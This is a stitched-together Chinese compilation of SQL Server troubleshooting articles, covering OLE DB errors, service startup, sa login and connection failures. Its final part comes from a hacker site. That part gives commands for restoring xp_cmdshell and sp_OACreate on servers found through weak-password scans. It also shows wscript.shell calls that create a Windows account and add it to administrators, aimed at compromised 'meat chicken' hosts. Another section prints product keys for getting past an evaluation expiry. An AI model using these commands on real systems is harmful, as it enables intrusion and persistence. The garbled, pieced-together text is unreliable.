SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问”
- 格式:rtf
- 大小:68.65 KB
- 文档页数:6
问题一、尚未注册OLE DB 访问接口"Microsoft.ACE.OLEDB.12.0"。
尚未注册OLE DB 访问接口"Microsoft.ACE.OLEDB.12.0"。
提示:消息7403,级别16,状态1,第2 行尚未注册OLE DB 访问接口需下载安装此软件:AccessDatabaseEngine_X64问题二消息15281,级别16,状态1,第1 行SQL Server 阻止了对组件'Ad Hoc Distributed Queries' 的STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用sp_configure 启用'Ad Hoc Distributed Queries'。
有关启用'Ad Hoc Distributed Queries' 的详细信息,请参阅SQL Server 联机丛书中的"外围应用配置器"。
请在查询中执行以下代码exec sp_configure 'show advanced options',1reconfigureexec sp_configure 'Ad Hoc Distributed Queries',1reconfigure消息:配置选项'show advanced options' 已从0 更改为1。
请运行RECONFIGURE 语句进行安装。
配置选项'Ad Hoc Distributed Queries' 已从0 更改为1。
请运行RECONFIGURE 语句进行安装。
[sql异常]SQLServer阻⽌了对组件AdHocDistributedQueries的//执⾏远程数据库表查询select*from openrowset( 'SQLOLEDB', '192.168.5.547'; 'sa'; '密码',[数据库名称].[dbo].[表名])出现异常:消息15281,级别 16,状态 1,第 1⾏SQL Server 阻⽌了对组件'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的⼀部分⽽被关闭。
系统管理员可以通过使⽤ sp_configure 启⽤ 'Ad Hoc Distributed Queries'。
有关启⽤ 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应⽤配置器"。
利⽤沙盒模式失败时需要⽤到,解决⽅法://启⽤Ad Hoc Distributed Queries:exec sp_configure 'show advanced options',1reconfigureexec sp_configure 'Ad Hoc Distributed Queries',1reconfigure//关闭Ad Hoc Distributed Queries:exec sp_configure 'Ad Hoc Distributed Queries',0reconfigureexec sp_configure 'show advanced options',0reconfiguresp_addlinkedserver创建⼀个链接的服务器,使其允许对分布式的、针对 OLE DB 数据源的异类查询进⾏访问。
mysql表结构禁⽌修改_SQLServer阻⽌保存修改表结构的解决
⽅法
在我们的程序开发中,有时候会由于需求的变化⽽要修改数据库中的表结构。
可能是增减列,也可能是修改数据类型,或者修改列名等等。
但修改表结构是个危险操作,默认情况下,当你修改表结构时,会弹出如下提⽰框
上图是修改DeUser表中列的数据类型(从varchar修改为int),然后保存时弹出的提⽰框。
如果我们不想重新创建这张表,只是想在原有的基础上修改它的结构该怎么办呢?
步骤如下:
步骤1.打开SQL Server Management Studio
步骤2.选择Tools (⼯具菜单)
步骤3.选择Options (选项)
步骤4.找到Designers (设计器)
步骤5.选择Designers下的Table and Database Designers (表和数据库设计器)
步骤6.去掉右边的勾选项Prevent saving changes that require table re-creation
步骤7.保存
具体细节如下图所⽰:
建议初学数据库的朋友在使⽤的时候取消这个选项,⽅式是在Management Studio⾥找菜单栏上的"⼯具"然后点击下⾯的选项,在出现的下⾯的这个界⾯中展开Designers,选中"表设计器和数据库设计器",把"阻⽌保存要求重新创建表的更改"前⾯的勾打掉。
以上就是SQL Server 阻⽌保存要求重新创建表的更改问题的设置⽅法,希望对⼤家有所帮助,谢谢⼤家的阅读。
Sql Server服务远程过程调用失败解决Sql Server服务远程过程调用失败解决问题:今天SQL数据库登录不上,提示以下错误:启动SQL Server配置管理器,发现如下问题(配置环境:win7旗舰版x64,SqlServer2008R2,同时安装VS2012):以前出现过这个问题,那时候是因为把实例安装在了D盘,后来D盘被格式化了。
然后,这些就没了。
今天早上打开电脑,竟然又出现这个问题,可是Server2008R2全部装在C盘了呢。
解决方法:最后查找解决方法,发现故障原因为:安装Visual Studio 2012的时候,自动安装“Microsoft SQL Server 2012 Express LocalDB”服务,导致原本的SQL2008无法正常工作。
那么解决方法如下:①方法一:打开控制面板,找到程序->卸载程序,把”Microsoft SQL Server 2012 Express LocalDB”卸载掉,然后打开SQL Server 配置管理器,显示一切正常就OK了。
但我的VS2012已经安装半个多月了,怎么今天才出现这个问题?②方法二:升级SqlServer2008R2为SP1或者SP2。
但是现在急用,我的实例还在,只是没有启动而已,就尝试如下方法:右击“计算机”→“管理”→“服务”,找到SQL Server(MSSQLSERVER),右击,选择“启动”。
再登录数据库,没有问题了。
但是重新启动系统后,问题会依旧的。
总结:想要永久解决该问题还得用上面的方法。
为防万一,最好进去把自己的数据库备份出来,或者创建一个系统还原点,然后再去尝试。
总的来说,上面的两种方法原因都是因为微软的兼容性问题,或者卸载新的回去旧版本,或者升级成为新版本。
所以,本人已经通过第二种方法,完美实现正常。
SQLServer服务起不了转载1、IP地址配置不正确:打开 Microsoft SQL Server 2005配置⼯具下的SQL Server Configuration Manager,选择MSSQLSERVER协议, 然后双击右边窗⼝的TCP/IP,在弹出窗⼝中检查IP配置。
2、可能是因为VIA协议启⽤造成的。
解决⽅法如下:1)打开SQL Server 2008中的配置⼯具SQL Server Configure Manager,将VIA协议禁⽤.2)重新启动SQL Server(MSSQLSERVER ),成功.3、管理员密码修改也会造成sqlserver服务⽆法启动。
解决⽅法如下:打开 Microsoft SQL Server 2005配置⼯具下的SQL Server Configuration Manager,在MSSQLSERVER服务属性中,修改以哪个账号来启动服务。
4. 安装的是SQL Server 评估版,180天的试⽤期后,MSSQLSERVER服务就⽆法启动,⼿动启动就报告17051错误。
解决办法:第⼀步:进⼊SQL2008配置⼯具中的安装中⼼,第⼆步:再进⼊维护界⾯,选择版本升级,第三步:进⼊产品密钥,输⼊密钥Developer: PTTFM-X467G-P7RH2-3Q6CG-4DMYBEnterprise: JD8Y6-HQG69-P9H84-XDTPG-34MBB第四步:⼀直点下⼀步,直到升级完毕。
⽤key升级成功后即可启动MSSQLSERVER服务。
如果启动SQL SERVER管理器依然报告过期错误,则将注册表HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\Microsoft SQL Server\100\ConfigurationState,将其中CommonFiles的键值改为3。
然后再重复以上四个步骤,进⾏升级就OK了。
在以上解决都不管⽤时,只能重新安装了。
解决sql账户sa登录失败的方法-回复解决SQL 账户sa 登录失败的方法引言:在SQL Server 中,系统管理员(sa)账户是一个具有最高权限的账户,可以访问和管理数据库服务器中的所有资源。
然而,有时我们可能会遇到sa 登录失败的问题,这可能导致无法正常访问和管理数据库。
本文将逐步介绍如何解决这个问题,以确保sa 账户登录成功。
第一步:确认问题首先,我们需要确认sa 账户登录失败的原因。
在许多情况下,这是由于以下几个常见原因之一所导致的:1. 忘记sa 密码:如果您已经使用sa 账户很长时间,可能会忘记密码。
在这种情况下,您需要重置sa 的密码。
2. sa 账户被禁用:有时,出于安全原因,管理员可能会禁用sa 账户。
您需要确保sa 账户处于启用状态。
3. SQL Server 服务未启动:如果SQL Server 服务未启动,则无法正常登录sa 账户。
您需要确保SQL Server 服务正在运行。
第二步:重置sa 密码如果您忘记了sa 账户的密码,您需要重置它。
以下是一些方法可帮助您重置sa 密码:1. 使用SQL Server Management Studio(SSMS):如果您有访问SQL Server 的管理工具(如SSMS),您可以使用该工具来重置sa 密码。
打开SSMS,选择要连接的服务器,右键单击服务器名称,选择“属性”。
在“常规”选项卡上,找到“安全性”选项,然后选择“SQL Server 和Windows 验证模式”。
点击确定后,回到对象资源管理器窗口,依次选择服务器-> 安全性-> 登录。
右键单击sa 账户,选择“属性”。
在“一般”选项卡上,可以找到“密码”框,输入新密码并确认。
保存更改后,使用新密码进行sa 登录。
2. 使用Transact-SQL(T-SQL):如果您无法访问SSMS,您可以使用T-SQL 来重置sa 密码。
打开SQL Server Management Studio 或任何T-SQL 编辑器,连接到SQL Server 实例。
SQL数据库安装过程问题解决SQL Server 2000有四个正式版本:企业版/标准版/个人版/开发版问题1 安装数据库的时候提示下面的对话框,确定以后在安装定义的窗口“服务器和客户端工具”是灰的,只能选择仅安装客户端工具。
解决方法a).SQL server不同版本的安装与操作系统是否支持直接有关。
b).SQL server 2000以前的版本,例如7.0一般不存在多个版本,只有标准版跟桌面版。
用户如果不清楚该装什么版本的话,可按安装上的安装先决条件指示安装,一般在WIN2000 服务器版上装标准版,其他的系统装桌面版的就可以。
Windows 2000 的Server版本,可以安装SQL Server 2000的任何版本,Professional版本只能安装SQL Server 2000的个人版、开发版、评估版、MCDE。
所以,操作系统可能是Home版本,不支持SQL Server 2000的企业版本,选择安装个人版就可以了。
c).PS: XP Professional SP2,不支持SQL企业版。
d).SQL Server 2000 企业版(必须在WIN 2000 SERVER服务器版本上安装)作为生产数据库服务器使用。
支持SQL Server 2000中的所有可用功能,并可根据支持最大的Web 站点和企业联机事务处理(OLTP)及数据仓库系统所需的性能水平进行伸缩。
e).SQL Server 2000标准版(必须在WIN2000 SERVER服务器版本上安装)作为小工作组或部门的数据库服务器使用。
f).SQL Server 2000 个人版(可以在WINXP上安装)供移动的用户使用,这些用户有时从网络上断开,但所运行的应用程序需要SQL Server数据存储。
在客户端计算机上运行需要本地SQL Server数据存储的独立应用程序时也使用个人版。
g).SQL Server 2000开发版(可以在WINXP上安装)供程序员用来开发将SQL Server 2000用作数据存储的应用程序。
sqlserver数据库连接失败错误及解决⽅法SQL Server数据库连接失败错误及解决⽅法在使⽤SQL Server 的过程中,⽤户遇到的最多的问题莫过于连接失败了。
⼀般⽽⾔,有以下两种连接SQL Server 的⽅式,⼀是利⽤SQL Server ⾃带的客户端⼯具,如企业管理器、查询分析器、事务探查器等;⼆是利⽤⽤户⾃⼰开发的客户端程序,如ASP 脚本、VB程序等,客户端程序中⼜是利⽤ODBC 或者OLE DB 等连接SQL Server。
下⾯,我们将就这两种连接⽅式,具体谈谈如何来解决连接失败的问题。
⼀、客户端⼯具连接失败在使⽤SQL Server ⾃带的客户端⼯具(以企业管理器为例)连接SQL Server时,最常见的错误有如下⼀些:1、SQL Server 不存在或访问被拒绝ConnectionOpen (Connect())2、⽤户'sa'登录失败。
原因:未与信任SQL Server 连接相关联。
3、超时已过期。
下⾯我们依次介绍如何来解决这三个最常见的连接错误。
第⼀个错误"SQL Server 不存在或访问被拒绝"通常是最复杂的,错误发⽣的原因⽐较多,需要检查的⽅⾯也⽐较多。
⼀般说来,有以下⼏种可能性:1、SQL Server名称或IP地址拼写有误;2、服务器端⽹络配置有误;3、客户端⽹络配置有误。
要解决这个问题,我们⼀般要遵循以下的步骤来⼀步步找出导致错误的原因。
⾸先,检查⽹络物理连接:ping <服务器IP地址>或者ping <服务器名称>如果ping <服务器IP地址> 失败,说明物理连接有问题,这时候要检查硬件设备,如⽹卡、HUB、路由器等。
还有⼀种可能是由于客户端和服务器之间安装有防⽕墙软件造成的,⽐如ISA Server。
防⽕墙软件可能会屏蔽对ping、telnet 等的响应,因此在检查连接问题的时候,我们要先把防⽕墙软件暂时关闭,或者打开所有被封闭的端⼝。
SQL Server服务停止的处理方法一、概述1. SQL Server是一种关系型数据库管理系统,广泛应用于企业级数据处理和管理。
然而,在实际应用中,由于各种原因,SQL Server服务有可能会出现停止运行的情况,给数据处理和管理带来一定的困扰。
2. 本文将介绍SQL Server服务停止的常见原因和处理方法,帮助用户快速有效地解决SQL Server服务停止的问题,确保数据的正常运行。
二、SQL Server服务停止的常见原因1. 服务器故障:包括硬件故障、操作系统故障等,导致SQL Server服务停止运行。
2. 服务崩溃:由于未知原因,SQL Server服务发生崩溃,导致服务停止。
3. 系统资源不足:服务器资源不足,如内存、硬盘空间等,导致SQL Server服务停止。
4. 网络问题:网络故障、防火墙设置等导致SQL Server无法正常运行。
5. 人为操作失误:误操作或者不当设置也可能导致SQL Server服务停止。
三、SQL Server服务停止的处理方法1. 检查系统日志(1)在Windows系统中,按下Win+R键打开运行窗口,输入eventvwr命令,打开系统事件查看器。
(2)在系统事件查看器中,选择“Windows日志”->“应用程序”,查看SQL Server的相关日志,寻找服务停止的原因。
(3)根据系统日志中的信息,分析服务停止的原因,进行相应的处理和调整。
2. 重新启动SQL Server服务(1)在Windows系统中,按下Win+R键打开运行窗口,输入services.msc命令,打开服务管理器。
(2)在服务管理器中,找到SQL Server相关的服务,右键点击选择“重启”或“启动”选项,重新启动SQL Server服务。
3. 检查系统资源(1)使用任务管理器等工具,检查服务器的CPU、内存、硬盘等资源使用情况,确保系统资源充足。
(2)根据资源检查结果,进行相应的优化和调整,释放系统资源,确保SQL Server服务能够正常运行。
-------------------------------------------------------------------------------------------------------------菜鸟腾飞技术交流网专业的网络安全技术培训基地(2009年1月1日最新开张目前所有培训项目全部免费)动画教程只是起到一个演示作用.请大家不用利用此方法对国内的网络做任何破坏.国人应该团结起来一致对外才是我们的责任.由此动画造成的任何后果和本站无关.-------------------------------------------------------------------------------------------------------------create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO恢复存储过程'master..xpcmdshell':EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int卸载存储过程xp_cmdshell:sp_dropextendedproc 'xp_cmdshell'“SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问”打开分析器,执行下面的语句-- To allow advanced options to be changed.EXEC sp_configure 'show advanced options', 1GO-- To update the currently configured value for advanced options. RECONFIGUREGO-- To enable the feature.EXEC sp_configure 'xp_cmdshell', 1GO-- To update the currently configured value for this feature. RECONFIGUREGO恢复sp_addextendedproc语句:create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGOxp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'恢复dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")1.未能找到存储过程'master..xpcmdshell'之解决方法:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。
原因126(找不到指定模块。
)sp_dropextendedproc "xp_cmdshell"sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。
原因:127(找不到指定的程序。
)exec sp_dropextendedproc 'xp_cmdshell'exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'4.直接添加帐户法删除odsole70.dll:exec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreate恢复odsole70.dll:exec sp_addextendedproc sp_OAMethod,'odsole70.dll'exec sp_addextendedproc sp_OACreate,'odsole70.dll'直接添加帐户命令:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名密码/add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'5.恢复时一些常用的SQL语句:利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己):use masterexec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'exec sp_addextendedproc xp_dirtree,'xpstar.dll'exec sp_addextendedproc xp_enumgroups,'xplog70.dll'exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'exec sp_addextendedproc xp_loginconfig,'xplog70.dll'exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'exec sp_addextendedproc sp_OACreate,'odsole70.dll'exec sp_addextendedproc sp_OADestroy,'odsole70.dll'exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'exec sp_addextendedproc sp_OAMethod,'odsole70.dll'exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'exec sp_addextendedproc sp_OAStop,'odsole70.dll'exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'exec sp_addextendedproc xp_regread,'xpstar.dll'exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'exec sp_addextendedproc xp_regwrite,'xpstar.dll'exec sp_addextendedproc xp_availablemedia,'xpstar.dll'恢复cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'判断存储扩展是否存在(返回结果为1就ok):select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'恢复xp_cmdshell(返回结果为1就ok):exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjectswhere xtype='x' and name='xp_cmdshell'否则上传xplog7.0.dll:exec master.dbo.addextendedproc'xp_cmdshell','c:\winnt\system32\xplog70.dll'************************以下为防范时用**********************1.删除所有危险扩展:Drop PROCEDURE sp_makewebtaskexec master..sp_dropextendedproc xp_cmdshellexec master..sp_dropextendedproc xp_dirtreeexec master..sp_dropextendedproc xp_fileexistexec master..sp_dropextendedproc xp_terminate_processexec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreateexec master..sp_dropextendedproc xp_regaddmultistringexec master..sp_dropextendedproc xp_regdeletekeyexec master..sp_dropextendedproc xp_regdeletevalueexec master..sp_dropextendedproc xp_regenumkeysexec master..sp_dropextendedproc xp_regenumvaluesexec master..sp_dropextendedproc sp_add_jobexec master..sp_dropextendedproc sp_addtaskexec master..sp_dropextendedproc xp_regreadexec master..sp_dropextendedproc xp_regwriteexec master..sp_dropextendedproc xp_readwebtaskexec master..sp_dropextendedproc xp_makewebtaskexec master..sp_dropextendedproc xp_regremovemultistringexec master..sp_dropextendedproc sp_OACreateDrop PROCEDURE sp_addextendedproc2.删除xp_cmdshell扩展:sp_dropextendedproc 'xp_cmdshell'3.修补sa弱口令:exec sp_password NULL,'新密码','sa'本篇文章来源于黑客基地-全球最大的中文黑客站原文链接:/tech/2009-09-28/56489.html扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程'master..xp_cmdshell'这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:sp_dropextendedproc "xp_cmdshell"就执行不了DOS命令了,当然用上面的语句可以复原。